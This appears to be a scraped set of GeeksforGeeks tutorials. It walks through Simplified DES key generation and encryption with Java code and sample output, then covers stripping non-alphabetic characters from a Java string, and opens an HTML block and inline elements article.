use key 2 instead of key 1. Expand permutation is defined as - 4 1 2 3 2 3 4 1 After second ep = 0 1 0 1 0 1 0 1 After XOR operation with 2nd Key = 0 0 0 1 0 1 1 0 After second S-Boxes = 1 1 1 1 P4 is defined as - 2 4 3 1 After P4 = 1 1 1 1 After XOR operation with left nibble of after first part = 0 0 1 0 After second part = 0 0 1 0 1 0 1 0 l = 1 1 0 1 and r = 1 0 1 0 On the right half, we perform expanded permutation using EP table which converts 4 bits into 8 bits. Expand permutation is defined as – EP(k1, k2, k3, k4) = (k4, k1, k2, k3, k2, k3, k4, k1) After second ep = 0 1 0 1 0 1 0 1 We perform XOR operation using second key K2 with the output of expanded permutation. Key-2 is - 0 1 0 0 0 0 1 1 (0 1 0 0 0 0 1 1) XOR (0 1 0 1 0 1 0 1) = 0 0 0 1 0 1 1 0 After XOR operation with 2nd Key = 0 0 0 1 0 1 1 0 Again we divide the output of XOR into 2 halves of 4 bit each. l = 0 0 0 1 and r = 0 1 1 0 We take the first and fourth bit as row and the second and third bit as a column for our S boxes. S0 = [1,0,3,2 3,2,1,0 0,2,1,3 3,1,3,2] S1 = [0,1,2,3 2,0,1,3 3,0,1,0 2,1,0,3] For l = 0 0 0 1 row = 01 = 1 , column = 00 = 0 S0 = 3 = 11 For r = 0 1 1 0 row = 00 = 0 , column = 11 = 3 S1 = 3 = 11 After first S-Boxes combining S0 and S1 = 1 1 1 1 S boxes gives a 2-bit output which we combine to get 4 bits and then perform permutation using the P4 table. P4 is defined as – P4(k1, k2, k3, k4) = (k2, k4, k3, k1) After P4 = 1 1 1 1 We XOR the output of the P4 table with the left half of the initial permutation table i.e. IP table. (1 1 0 1) XOR (1 1 1 1) = 0 0 1 0 After XOR operation with left nibble of after first part = 0 0 1 0 We combine both halves i.e. right half of initial permutation and output of ip. Combine 1 0 1 0 and 0 0 1 0 After combine = 0 0 1 0 1 0 1 0 After second part = 0 0 1 0 1 0 1 0 Step-5:Perform inverse initial permutation. The output of this table is the cipher text of 8 bit. Output of step 4 : 0 0 1 0 1 0 1 0 Inverse Initial permutation is defined as – IP-1(k1, k2, k3, k4, k5, k6, k7, k8) = (k4, k1, k3, k5, k7, k2, k8, k6) 8-bit Cipher Text will be = 0 0 1 1 1 0 0 0 Java /*package whatever //do not write package name here */ import java.io.*; public class GFG { // int key[]= {0,0,1,0,0,1,0,1,1,1}; int key[] = { 1, 0, 1, 0, 0, 0, 0, 0, 1, 0 }; // extra example for checking purpose int P10[] = { 3, 5, 2, 7, 4, 10, 1, 9, 8, 6 }; int P8[] = { 6, 3, 7, 4, 8, 5, 10, 9 }; int key1[] = new int[8]; int key2[] = new int[8]; int[] IP = { 2, 6, 3, 1, 4, 8, 5, 7 }; int[] EP = { 4, 1, 2, 3, 2, 3, 4, 1 }; int[] P4 = { 2, 4, 3, 1 }; int[] IP_inv = { 4, 1, 3, 5, 7, 2, 8, 6 }; int[][] S0 = { { 1, 0, 3, 2 }, { 3, 2, 1, 0 }, { 0, 2, 1, 3 }, { 3, 1, 3, 2 } }; int[][] S1 = { { 0, 1, 2, 3 }, { 2, 0, 1, 3 }, { 3, 0, 1, 0 }, { 2, 1, 0, 3 } }; // this function basically generates the key(key1 and //key2) using P10 and P8 with (1 and 2)left shifts void key_generation() { int key_[] = new int[10]; for (int i = 0; i < 10; i++) { key_[i] = key[P10[i] - 1]; } int Ls[] = new int[5]; int Rs[] = new int[5]; for (int i = 0; i < 5; i++) { Ls[i] = key_[i]; Rs[i] = key_[i + 5]; } int[] Ls_1 = shift(Ls, 1); int[] Rs_1 = shift(Rs, 1); for (int i = 0; i < 5; i++) { key_[i] = Ls_1[i]; key_[i + 5] = Rs_1[i]; } for (int i = 0; i < 8; i++) { key1[i] = key_[P8[i] - 1]; } int[] Ls_2 = shift(Ls, 2); int[] Rs_2 = shift(Rs, 2); for (int i = 0; i < 5; i++) { key_[i] = Ls_2[i]; key_[i + 5] = Rs_2[i]; } for (int i = 0; i < 8; i++) { key2[i] = key_[P8[i] - 1]; } System.out.println("Your Key-1 :"); for (int i = 0; i < 8; i++) System.out.print(key1[i] + " "); System.out.println(); System.out.println("Your Key-2 :"); for (int i = 0; i < 8; i++) System.out.print(key2[i] + " "); } // this function is use full for shifting(circular) the //array n position towards left int[] shift(int[] ar, int n) { while (n > 0) { int temp = ar[0]; for (int i = 0; i < ar.length - 1; i++) { ar[i] = ar[i + 1]; } ar[ar.length - 1] = temp; n--; } return ar; } // this is main encryption function takes plain text as //input uses another functions and returns the array of //cipher text int[] encryption(int[] plaintext) { int[] arr = new int[8]; for (int i = 0; i < 8; i++) { arr[i] = plaintext[IP[i] - 1]; } int[] arr1 = function_(arr, key1); int[] after_swap = swap(arr1, arr1.length / 2); int[] arr2 = function_(after_swap, key2); int[] ciphertext = new int[8]; for (int i = 0; i < 8; i++) { ciphertext[i] = arr2[IP_inv[i] - 1]; } return ciphertext; } // decimal to binary string 0-3 String binary_(int val) { if (val == 0) return "00"; else if (val == 1) return "01"; else if (val == 2) return "10"; else return "11"; } // this function is doing core things like expansion // then xor with desired key then S0 and S1 //substitution P4 permutation and again xor we have used //this function 2 times(key-1 and key-2) during //encryption and 2 times(key-2 and key-1) during //decryption int[] function_(int[] ar, int[] key_) { int[] l = new int[4]; int[] r = new int[4]; for (int i = 0; i < 4; i++) { l[i] = ar[i]; r[i] = ar[i + 4]; } int[] ep = new int[8]; for (int i = 0; i < 8; i++) { ep[i] = r[EP[i] - 1]; } for (int i = 0; i < 8; i++) { ar[i] = key_[i] ^ ep[i]; } int[] l_1 = new int[4]; int[] r_1 = new int[4]; for (int i = 0; i < 4; i++) { l_1[i] = ar[i]; r_1[i] = ar[i + 4]; } int row, col, val; row = Integer.parseInt("" + l_1[0] + l_1[3], 2); col = Integer.parseInt("" + l_1[1] + l_1[2], 2); val = S0[row][col]; String str_l = binary_(val); row = Integer.parseInt("" + r_1[0] + r_1[3], 2); col = Integer.parseInt("" + r_1[1] + r_1[2], 2); val = S1[row][col]; String str_r = binary_(val); int[] r_ = new int[4]; for (int i = 0; i < 2; i++) { char c1 = str_l.charAt(i); char c2 = str_r.charAt(i); r_[i] = Character.getNumericValue(c1); r_[i + 2] = Character.getNumericValue(c2); } int[] r_p4 = new int[4]; for (int i = 0; i < 4; i++) { r_p4[i] = r_[P4[i] - 1]; } for (int i = 0; i < 4; i++) { l[i] = l[i] ^ r_p4[i]; } int[] output = new int[8]; for (int i = 0; i < 4; i++) { output[i] = l[i]; output[i + 4] = r[i]; } return output; } // this function swaps the nibble of size n(4) int[] swap(int[] array, int n) { int[] l = new int[n]; int[] r = new int[n]; for (int i = 0; i < n; i++) { l[i] = array[i]; r[i] = array[i + n]; } int[] output = new int[2 * n]; for (int i = 0; i < n; i++) { output[i] = r[i]; output[i + n] = l[i]; } return output; } // this is main decryption function // here we have used all previously defined function // it takes cipher text as input and returns the array //of decrypted text int[] decryption(int[] ar) { int[] arr = new int[8]; for (int i = 0; i < 8; i++) { arr[i] = ar[IP[i] - 1]; } int[] arr1 = function_(arr, key2); int[] after_swap = swap(arr1, arr1.length / 2); int[] arr2 = function_(after_swap, key1); int[] decrypted = new int[8]; for (int i = 0; i < 8; i++) { decrypted[i] = arr2[IP_inv[i] - 1]; } return decrypted; } public static void main(String[] args) { GFG obj = new GFG(); obj.key_generation(); // call to key generation // function // int []plaintext= {1,0,1,0,0,1,0,1}; int[] plaintext = { 1, 0, 0, 1, 0, 1, 1, 1 }; // extra example for checking purpose System.out.println(); System.out.println("Your plain Text is :"); for (int i = 0; i < 8; i++) // printing the // plaintext System.out.print(plaintext[i] + " "); int[] ciphertext = obj.encryption(plaintext); System.out.println(); System.out.println( "Your cipher Text is :"); // printing the cipher // text for (int i = 0; i < 8; i++) System.out.print(ciphertext[i] + " "); int[] decrypted = obj.decryption(ciphertext); System.out.println(); System.out.println( "Your decrypted Text is :"); // printing the // decrypted text for (int i = 0; i < 8; i++) System.out.print(decrypted[i] + " "); }} //Omkar Varhadi Your Key-1 : 1 0 1 0 0 1 0 0 Your Key-2 : 0 1 0 0 0 0 1 1 Your plain Text is : 1 0 0 1 0 1 1 1 Your cipher Text is : 0 0 1 1 1 0 0 0 Your decrypted Text is : 1 0 0 1 0 1 1 1 omkara singghakshay surinderdawra388 prachisoda1234 cryptography Computer Networks cryptography Computer Networks Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 54, "s": 26, "text": "\n22 Oct, 2021" }, { "code": null, "e": 113, "s": 54, "text": "Prerequisite – Simplified Data Encryption Standard | Set 1" }, { "code": null, "e": 635, "s": 113, "text": "Simplified Data Encryption Standard is a simple version of Data Encryption Standard having a 10-bit key and 8-bit plain text. It is much smaller than the DES algorithm as it takes only 8-bit plain text whereas DES takes 64-bit plain text. It was developed for educational purpose so that understanding DES can become easy. It is a block cipher algorithm and uses a symmetric key for its algorithm i.e. they use the same key for both encryption and decryption. It has 2 rounds for encryption which use two different keys. " }, { "code": null, "e": 837, "s": 635, "text": "First, we need to generate 2 keys before encryption. After generating keys we pass them to each individual round for s-des encryption. The below diagram shows the steps involved in the s-des algorithm." }, { "code": null, "e": 892, "s": 837, "text": "Components :S-DES encryption involves four functions –" }, { "code": null, "e": 921, "s": 892, "text": "1. Initial permutation(IP) –" }, { "code": null, "e": 1143, "s": 921, "text": "2. Complex function (fk) –It is the combination of permutation and substitution functions. The below image represents a round of encryption and decryption. This round is repeated twice in each encryption and decryption. " }, { "code": null, "e": 1258, "s": 1143, "text": "Components in fk are –a. Expanded Permutation (EP) – It takes a 4-bit input and converts it into an 8-bit output. " }, { "code": null, "e": 1371, "s": 1258, "text": " b. S-boxes (S0 and S1) –It is a basic component of a symmetric key algorithm that performs substitution. " }, { "code": null, "e": 1398, "s": 1371, "text": " c. Permutation P4 –" }, { "code": null, "e": 1416, "s": 1398, "text": "3. Switch (SW) – " }, { "code": null, "e": 1459, "s": 1416, "text": "4. Inverse of Initial Permutation (IP-1) –" }, { "code": null, "e": 1513, "s": 1459, "text": "First, we need to generate 2 keys before encryption. " }, { "code": null, "e": 1571, "s": 1513, "text": "Consider, the entered 10-bit key is - 1 0 1 0 0 0 0 0 1 0" }, { "code": null, "e": 1582, "s": 1571, "text": "Therefore," }, { "code": null, "e": 1636, "s": 1582, "text": "Key-1 is - 1 0 1 0 0 1 0 0\nKey-2 is - 0 1 0 0 0 0 1 1" }, { "code": null, "e": 1681, "s": 1636, "text": "Entered 8-bit plaintext is - 1 0 0 1 0 1 1 1" }, { "code": null, "e": 1804, "s": 1681, "text": "Step-1:We perform initial permutation on our 8-bit plain text using the IP table. The initial permutation is defined as – " }, { "code": null, "e": 1901, "s": 1804, "text": "IP(k1, k2, k3, k4, k5, k6, k7, k8) = (k2, k6, k3, k1, k4, k8, k5, k7)\nAfter ip = 0 1 0 1 1 1 0 1" }, { "code": null, "e": 2014, "s": 1901, "text": "Step-2:After the initial permutation, we get an 8-bit block of text which we divide into 2 halves of 4 bit each." }, { "code": null, "e": 2043, "s": 2014, "text": "l = 0 1 0 1 and r = 1 1 0 1" }, { "code": null, "e": 2180, "s": 2043, "text": "On the right half, we perform expanded permutation using EP table which converts 4 bits into 8 bits. Expand permutation is defined as – " }, { "code": null, "e": 2234, "s": 2180, "text": "EP(k1, k2, k3, k4) = (k4, k1, k2, k3, k2, k3, k4, k1)" }, { "code": null, "e": 2261, "s": 2234, "text": "After ep = 1 1 1 0 1 0 1 1" }, { "code": null, "e": 2350, "s": 2261, "text": "We perform XOR operation using the first key K1 with the output of expanded permutation." }, { "code": null, "e": 2487, "s": 2350, "text": "Key-1 is - 1 0 1 0 0 1 0 0\n(1 0 1 0 0 1 0 0) XOR (1 1 1 0 1 0 1 1) = 0 1 0 0 1 1 1 1\nAfter XOR operation with 1st Key = 0 1 0 0 1 1 1 1" }, { "code": null, "e": 2550, "s": 2487, "text": "Again we divide the output of XOR into 2 halves of 4 bit each." }, { "code": null, "e": 2579, "s": 2550, "text": "l = 0 1 0 0 and r = 1 1 1 1" }, { "code": null, "e": 2677, "s": 2579, "text": "We take the first and fourth bit as row and the second and third bit as a column for our S boxes." }, { "code": null, "e": 2962, "s": 2677, "text": "S0 = [1,0,3,2\n 3,2,1,0\n 0,2,1,3\n 3,1,3,2]\n\nS1= [0,1,2,3\n 2,0,1,3\n 3,0,1,0\n 2,1,0,3]\n\nFor l = 0 1 0 0\nrow = 00 = 0, column = 10 = 2\nS0 = 3 = 11\n\nFor r = 1 1 1 1 \nrow = 11 = 3, column = 11 = 3\nS1 = 3 = 11\n\nAfter first S-Boxes combining S0 and S1 = 1 1 1 1" }, { "code": null, "e": 3091, "s": 2962, "text": "S boxes gives a 2-bit output which we combine to get 4 bits and then perform permutation using the P4 table. P4 is defined as – " }, { "code": null, "e": 3148, "s": 3091, "text": "P4(k1, k2, k3, k4) = (k2, k4, k3, k1)\nAfter P4 = 1 1 1 1" }, { "code": null, "e": 3249, "s": 3148, "text": "We XOR the output of the P4 table with the left half of the initial permutation table i.e. IP table." }, { "code": null, "e": 3342, "s": 3249, "text": "(0 1 0 1) XOR (1 1 1 1) = 1 0 1 0\nAfter XOR operation with left nibble of after ip = 1 0 1 0" }, { "code": null, "e": 3422, "s": 3342, "text": "We combine both halves i.e. right half of initial permutation and output of ip." }, { "code": null, "e": 3482, "s": 3422, "text": "Combine 1 1 0 1 and 1 0 1 0\nAfter combine = 1 0 1 0 1 1 0 1" }, { "code": null, "e": 3644, "s": 3482, "text": "Step-3:Now, divide the output into two halves of 4 bit each. Combine them again, but now the left part should become right and the right part should become left." }, { "code": null, "e": 3675, "s": 3644, "text": "After step 3 = 1 1 0 1 1 0 1 0" }, { "code": null, "e": 3799, "s": 3675, "text": "Step-4:Again perform step 2, but this time while doing XOR operation after expanded permutation use key 2 instead of key 1." }, { "code": null, "e": 4147, "s": 3799, "text": "Expand permutation is defined as - 4 1 2 3 2 3 4 1\nAfter second ep = 0 1 0 1 0 1 0 1\nAfter XOR operation with 2nd Key = 0 0 0 1 0 1 1 0\nAfter second S-Boxes = 1 1 1 1\n\nP4 is defined as - 2 4 3 1\nAfter P4 = 1 1 1 1\n\nAfter XOR operation with left nibble of after first part = 0 0 1 0\nAfter second part = 0 0 1 0 1 0 1 0\n\nl = 1 1 0 1 and r = 1 0 1 0" }, { "code": null, "e": 4283, "s": 4147, "text": "On the right half, we perform expanded permutation using EP table which converts 4 bits into 8 bits. Expand permutation is defined as –" }, { "code": null, "e": 4371, "s": 4283, "text": "EP(k1, k2, k3, k4) = (k4, k1, k2, k3, k2, k3, k4, k1)\nAfter second ep = 0 1 0 1 0 1 0 1" }, { "code": null, "e": 4457, "s": 4371, "text": "We perform XOR operation using second key K2 with the output of expanded permutation." }, { "code": null, "e": 4594, "s": 4457, "text": "Key-2 is - 0 1 0 0 0 0 1 1\n(0 1 0 0 0 0 1 1) XOR (0 1 0 1 0 1 0 1) = 0 0 0 1 0 1 1 0\nAfter XOR operation with 2nd Key = 0 0 0 1 0 1 1 0" }, { "code": null, "e": 4657, "s": 4594, "text": "Again we divide the output of XOR into 2 halves of 4 bit each." }, { "code": null, "e": 4686, "s": 4657, "text": "l = 0 0 0 1 and r = 0 1 1 0" }, { "code": null, "e": 4784, "s": 4686, "text": "We take the first and fourth bit as row and the second and third bit as a column for our S boxes." }, { "code": null, "e": 5070, "s": 4784, "text": "S0 = [1,0,3,2\n 3,2,1,0\n 0,2,1,3\n 3,1,3,2]\n\nS1 = [0,1,2,3\n 2,0,1,3\n 3,0,1,0\n 2,1,0,3]\n\nFor l = 0 0 0 1\nrow = 01 = 1 , column = 00 = 0\nS0 = 3 = 11\n\nFor r = 0 1 1 0\nrow = 00 = 0 , column = 11 = 3\nS1 = 3 = 11\n\nAfter first S-Boxes combining S0 and S1 = 1 1 1 1" }, { "code": null, "e": 5199, "s": 5070, "text": "S boxes gives a 2-bit output which we combine to get 4 bits and then perform permutation using the P4 table. P4 is defined as – " }, { "code": null, "e": 5256, "s": 5199, "text": "P4(k1, k2, k3, k4) = (k2, k4, k3, k1)\nAfter P4 = 1 1 1 1" }, { "code": null, "e": 5357, "s": 5256, "text": "We XOR the output of the P4 table with the left half of the initial permutation table i.e. IP table." }, { "code": null, "e": 5458, "s": 5357, "text": "(1 1 0 1) XOR (1 1 1 1) = 0 0 1 0\nAfter XOR operation with left nibble of after first part = 0 0 1 0" }, { "code": null, "e": 5538, "s": 5458, "text": "We combine both halves i.e. right half of initial permutation and output of ip." }, { "code": null, "e": 5634, "s": 5538, "text": "Combine 1 0 1 0 and 0 0 1 0\nAfter combine = 0 0 1 0 1 0 1 0\nAfter second part = 0 0 1 0 1 0 1 0" }, { "code": null, "e": 5732, "s": 5634, "text": "Step-5:Perform inverse initial permutation. The output of this table is the cipher text of 8 bit." }, { "code": null, "e": 5767, "s": 5732, "text": "Output of step 4 : 0 0 1 0 1 0 1 0" }, { "code": null, "e": 5811, "s": 5767, "text": "Inverse Initial permutation is defined as –" }, { "code": null, "e": 5883, "s": 5811, "text": "IP-1(k1, k2, k3, k4, k5, k6, k7, k8) = (k4, k1, k3, k5, k7, k2, k8, k6)" }, { "code": null, "e": 5928, "s": 5883, "text": "8-bit Cipher Text will be = 0 0 1 1 1 0 0 0 " }, { "code": null, "e": 5933, "s": 5928, "text": "Java" }, { "code": "/*package whatever //do not write package name here */ import java.io.*; public class GFG { // int key[]= {0,0,1,0,0,1,0,1,1,1}; int key[] = { 1, 0, 1, 0, 0, 0, 0, 0, 1, 0 }; // extra example for checking purpose int P10[] = { 3, 5, 2, 7, 4, 10, 1, 9, 8, 6 }; int P8[] = { 6, 3, 7, 4, 8, 5, 10, 9 }; int key1[] = new int[8]; int key2[] = new int[8]; int[] IP = { 2, 6, 3, 1, 4, 8, 5, 7 }; int[] EP = { 4, 1, 2, 3, 2, 3, 4, 1 }; int[] P4 = { 2, 4, 3, 1 }; int[] IP_inv = { 4, 1, 3, 5, 7, 2, 8, 6 }; int[][] S0 = { { 1, 0, 3, 2 }, { 3, 2, 1, 0 }, { 0, 2, 1, 3 }, { 3, 1, 3, 2 } }; int[][] S1 = { { 0, 1, 2, 3 }, { 2, 0, 1, 3 }, { 3, 0, 1, 0 }, { 2, 1, 0, 3 } }; // this function basically generates the key(key1 and //key2) using P10 and P8 with (1 and 2)left shifts void key_generation() { int key_[] = new int[10]; for (int i = 0; i < 10; i++) { key_[i] = key[P10[i] - 1]; } int Ls[] = new int[5]; int Rs[] = new int[5]; for (int i = 0; i < 5; i++) { Ls[i] = key_[i]; Rs[i] = key_[i + 5]; } int[] Ls_1 = shift(Ls, 1); int[] Rs_1 = shift(Rs, 1); for (int i = 0; i < 5; i++) { key_[i] = Ls_1[i]; key_[i + 5] = Rs_1[i]; } for (int i = 0; i < 8; i++) { key1[i] = key_[P8[i] - 1]; } int[] Ls_2 = shift(Ls, 2); int[] Rs_2 = shift(Rs, 2); for (int i = 0; i < 5; i++) { key_[i] = Ls_2[i]; key_[i + 5] = Rs_2[i]; } for (int i = 0; i < 8; i++) { key2[i] = key_[P8[i] - 1]; } System.out.println(\"Your Key-1 :\"); for (int i = 0; i < 8; i++) System.out.print(key1[i] + \" \"); System.out.println(); System.out.println(\"Your Key-2 :\"); for (int i = 0; i < 8; i++) System.out.print(key2[i] + \" \"); } // this function is use full for shifting(circular) the //array n position towards left int[] shift(int[] ar, int n) { while (n > 0) { int temp = ar[0]; for (int i = 0; i < ar.length - 1; i++) { ar[i] = ar[i + 1]; } ar[ar.length - 1] = temp; n--; } return ar; } // this is main encryption function takes plain text as //input uses another functions and returns the array of //cipher text int[] encryption(int[] plaintext) { int[] arr = new int[8]; for (int i = 0; i < 8; i++) { arr[i] = plaintext[IP[i] - 1]; } int[] arr1 = function_(arr, key1); int[] after_swap = swap(arr1, arr1.length / 2); int[] arr2 = function_(after_swap, key2); int[] ciphertext = new int[8]; for (int i = 0; i < 8; i++) { ciphertext[i] = arr2[IP_inv[i] - 1]; } return ciphertext; } // decimal to binary string 0-3 String binary_(int val) { if (val == 0) return \"00\"; else if (val == 1) return \"01\"; else if (val == 2) return \"10\"; else return \"11\"; } // this function is doing core things like expansion // then xor with desired key then S0 and S1 //substitution P4 permutation and again xor we have used //this function 2 times(key-1 and key-2) during //encryption and 2 times(key-2 and key-1) during //decryption int[] function_(int[] ar, int[] key_) { int[] l = new int[4]; int[] r = new int[4]; for (int i = 0; i < 4; i++) { l[i] = ar[i]; r[i] = ar[i + 4]; } int[] ep = new int[8]; for (int i = 0; i < 8; i++) { ep[i] = r[EP[i] - 1]; } for (int i = 0; i < 8; i++) { ar[i] = key_[i] ^ ep[i]; } int[] l_1 = new int[4]; int[] r_1 = new int[4]; for (int i = 0; i < 4; i++) { l_1[i] = ar[i]; r_1[i] = ar[i + 4]; } int row, col, val; row = Integer.parseInt(\"\" + l_1[0] + l_1[3], 2); col = Integer.parseInt(\"\" + l_1[1] + l_1[2], 2); val = S0[row][col]; String str_l = binary_(val); row = Integer.parseInt(\"\" + r_1[0] + r_1[3], 2); col = Integer.parseInt(\"\" + r_1[1] + r_1[2], 2); val = S1[row][col]; String str_r = binary_(val); int[] r_ = new int[4]; for (int i = 0; i < 2; i++) { char c1 = str_l.charAt(i); char c2 = str_r.charAt(i); r_[i] = Character.getNumericValue(c1); r_[i + 2] = Character.getNumericValue(c2); } int[] r_p4 = new int[4]; for (int i = 0; i < 4; i++) { r_p4[i] = r_[P4[i] - 1]; } for (int i = 0; i < 4; i++) { l[i] = l[i] ^ r_p4[i]; } int[] output = new int[8]; for (int i = 0; i < 4; i++) { output[i] = l[i]; output[i + 4] = r[i]; } return output; } // this function swaps the nibble of size n(4) int[] swap(int[] array, int n) { int[] l = new int[n]; int[] r = new int[n]; for (int i = 0; i < n; i++) { l[i] = array[i]; r[i] = array[i + n]; } int[] output = new int[2 * n]; for (int i = 0; i < n; i++) { output[i] = r[i]; output[i + n] = l[i]; } return output; } // this is main decryption function // here we have used all previously defined function // it takes cipher text as input and returns the array //of decrypted text int[] decryption(int[] ar) { int[] arr = new int[8]; for (int i = 0; i < 8; i++) { arr[i] = ar[IP[i] - 1]; } int[] arr1 = function_(arr, key2); int[] after_swap = swap(arr1, arr1.length / 2); int[] arr2 = function_(after_swap, key1); int[] decrypted = new int[8]; for (int i = 0; i < 8; i++) { decrypted[i] = arr2[IP_inv[i] - 1]; } return decrypted; } public static void main(String[] args) { GFG obj = new GFG(); obj.key_generation(); // call to key generation // function // int []plaintext= {1,0,1,0,0,1,0,1}; int[] plaintext = { 1, 0, 0, 1, 0, 1, 1, 1 }; // extra example for checking purpose System.out.println(); System.out.println(\"Your plain Text is :\"); for (int i = 0; i < 8; i++) // printing the // plaintext System.out.print(plaintext[i] + \" \"); int[] ciphertext = obj.encryption(plaintext); System.out.println(); System.out.println( \"Your cipher Text is :\"); // printing the cipher // text for (int i = 0; i < 8; i++) System.out.print(ciphertext[i] + \" \"); int[] decrypted = obj.decryption(ciphertext); System.out.println(); System.out.println( \"Your decrypted Text is :\"); // printing the // decrypted text for (int i = 0; i < 8; i++) System.out.print(decrypted[i] + \" \"); }} //Omkar Varhadi", "e": 13394, "s": 5933, "text": null }, { "code": null, "e": 13573, "s": 13394, "text": "Your Key-1 :\n1 0 1 0 0 1 0 0 \nYour Key-2 :\n0 1 0 0 0 0 1 1 \nYour plain Text is :\n1 0 0 1 0 1 1 1 \nYour cipher Text is :\n0 0 1 1 1 0 0 0 \nYour decrypted Text is :\n1 0 0 1 0 1 1 1 " }, { "code": null, "e": 13580, "s": 13573, "text": "omkara" }, { "code": null, "e": 13593, "s": 13580, "text": "singghakshay" }, { "code": null, "e": 13610, "s": 13593, "text": "surinderdawra388" }, { "code": null, "e": 13625, "s": 13610, "text": "prachisoda1234" }, { "code": null, "e": 13638, "s": 13625, "text": "cryptography" }, { "code": null, "e": 13656, "s": 13638, "text": "Computer Networks" }, { "code": null, "e": 13669, "s": 13656, "text": "cryptography" }, { "code": null, "e": 13687, "s": 13669, "text": "Computer Networks" } ]
Remove all non-alphabetical characters of a String in Java
11 Dec, 2018 Given a string str, consisting of non-alphabetical characters. The task is to remove all those non-alphabetical characters of str and print the words on a new line. Examples: Input: str = “Hello, how are you ?”Output:Hellohowareyou comma(, ), white space and question mark (?) are removed and there are total 4 words in string s.Each token is printed in the same order in which it appears in string s. Input: “Azad is a good boy, isn’ t he ?”Output:Azadisagoodboyisnthe Approach: Non-alphabetic characters are basically any character that is not a number or letter. It can be English alphabetic letters, blank spaces, exclamation points (!), commas (, ), question marks (?), periods (.), underscores (_), apostrophes (‘), and at symbols (@). The approach is to use Java String.split method to split the String, s into an array of substrings. Then print each n words on a new line in the same order as it appears in String s. Below is the implementation of the above approach: // Java program to split all// non-alphabetical charactersimport java.util.Scanner; public class Main { // Function to trim the non-alphabetical characters static void printwords(String str) { // eliminate leading and trailing spaces str = str.trim(); // split all non-alphabetic characters String delims = "\\W+"; // split any non word String[] tokens = str.split(delims); // print the tokens for (String item : tokens) { System.out.println(item + " "); } } public static void main(String[] args) { String str = "Hello, how are you ?"; printwords(str); }} Hello how are you Time Complexity: O(N) java-basics Java-String-Programs Java-Strings Java Strings Java-Strings Strings Java Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here.
[ { "code": null, "e": 28, "s": 0, "text": "\n11 Dec, 2018" }, { "code": null, "e": 193, "s": 28, "text": "Given a string str, consisting of non-alphabetical characters. The task is to remove all those non-alphabetical characters of str and print the words on a new line." }, { "code": null, "e": 203, "s": 193, "text": "Examples:" }, { "code": null, "e": 260, "s": 203, "text": "Input: str = “Hello, how are you ?”Output:Hellohowareyou" }, { "code": null, "e": 430, "s": 260, "text": "comma(, ), white space and question mark (?) are removed and there are total 4 words in string s.Each token is printed in the same order in which it appears in string s." }, { "code": null, "e": 498, "s": 430, "text": "Input: “Azad is a good boy, isn’ t he ?”Output:Azadisagoodboyisnthe" }, { "code": null, "e": 953, "s": 498, "text": "Approach: Non-alphabetic characters are basically any character that is not a number or letter. It can be English alphabetic letters, blank spaces, exclamation points (!), commas (, ), question marks (?), periods (.), underscores (_), apostrophes (‘), and at symbols (@). The approach is to use Java String.split method to split the String, s into an array of substrings. Then print each n words on a new line in the same order as it appears in String s." }, { "code": null, "e": 1004, "s": 953, "text": "Below is the implementation of the above approach:" }, { "code": "// Java program to split all// non-alphabetical charactersimport java.util.Scanner; public class Main { // Function to trim the non-alphabetical characters static void printwords(String str) { // eliminate leading and trailing spaces str = str.trim(); // split all non-alphabetic characters String delims = \"\\\\W+\"; // split any non word String[] tokens = str.split(delims); // print the tokens for (String item : tokens) { System.out.println(item + \" \"); } } public static void main(String[] args) { String str = \"Hello, how are you ?\"; printwords(str); }}", "e": 1679, "s": 1004, "text": null }, { "code": null, "e": 1701, "s": 1679, "text": "Hello \nhow \nare \nyou\n" }, { "code": null, "e": 1723, "s": 1701, "text": "Time Complexity: O(N)" }, { "code": null, "e": 1735, "s": 1723, "text": "java-basics" }, { "code": null, "e": 1756, "s": 1735, "text": "Java-String-Programs" }, { "code": null, "e": 1769, "s": 1756, "text": "Java-Strings" }, { "code": null, "e": 1774, "s": 1769, "text": "Java" }, { "code": null, "e": 1782, "s": 1774, "text": "Strings" }, { "code": null, "e": 1795, "s": 1782, "text": "Java-Strings" }, { "code": null, "e": 1803, "s": 1795, "text": "Strings" }, { "code": null, "e": 1808, "s": 1803, "text": "Java" } ]
HTML Block and Inline Elements
08 Dec, 2021 In this article, we will know the HTML Block element & Inline element, along with understanding the implementation through the example. Every HTML documents that render the web content, will depend on the element type i.e, block or inline which are default display values. We will understand both these concepts through the examples. Example: This example illustrates the use of the block-level element & inline element. HTML <!DOCTYPE html><html> <body> <div>GeeksforGeeks</div> Checkout the GeeksforGeeks <a href="https://www.geeksforgeeks.org/" alt="GeeksforGeeks"> official</a> website for the articles on various courses. </body> </html> Output: Block & Inline Elements In the above example, we have used the <div> tag that always starts in a new line & captures the full width available. We have used the inline element anchor tag <a>that is used to provide a link to a text. The inline element doesn’t start in a new line & captures only the space around the element. Block Level Elements: A block-level element always starts on a new line and stretches out to the left and right as far as it can ie, it occupies the whole horizontal space of its parent element & the height is equal to the content’s height. Supported tags: HTML <address> Tag HTML <blockquote> Tag HTML <dd> Tag HTML <Div> Tag HTML <dl> Tag HTML <dt> Tag HTML <canvas> Tag HTML <form> Tag HTML <Heading> Tag HTML <hr> Tag HTML <li> Tag HTML <main> Tag HTML <nav> Tag HTML <noscript> Tag HTML <ol> Tag HTML <pre> Tag HTML <section> Tag HTML <tfoot> Tag HTML <ul> Tag HTML Tables HTML Paragraphs HTML5 <Video> Tag HTML5 <aside> Tag HTML5 <article> Tag HTML5 <figcaption> Tag HTML5 <fieldset> Tag HTML5 <figure> Tag HTML5 <footer> Tag HTML 5 <header> Tag div element: The <div> element is used as a container for other HTML elements. It has no required attributes. Style, class, and id are the commonly used attributes. Syntax: <div>GFG</div> Example: Below code illustrates the implementation of <div> tag. HTML <!DOCTYPE html><html><title>Block-level Element</title> <body> <div> <h1>GeeksforGeeks</h1> <h3>GeeksforGeeks is a science portal for geeks.</h3> <h3> You can give reviews as well as contribute posts on this portal. </h3> </div></body> </html> Output: Block Element Inline Elements: An inline element is the opposite of the block-level element. It does not start on a new line and takes up only the necessary width ie., it only occupies the space bounded by the tags defining the HTML element, instead of breaking the flow of the content. Supported tags: HTML <br> Tag HTML <button> Tag HTML <time> Tag HTML <tt> Tag HTML <var> Tag HTML <a> Tag HTML <abbr> Tag HTML <acronym> Tag HTML <b> Tag HTML <cite> Tag HTML <code> Tag HTML <dfn> Tag HTML <em> Tag HTML <i> Tag HTML <output> Tag HTML <q> Tag HTML <samp> Tag HTML <script> Tag HTML 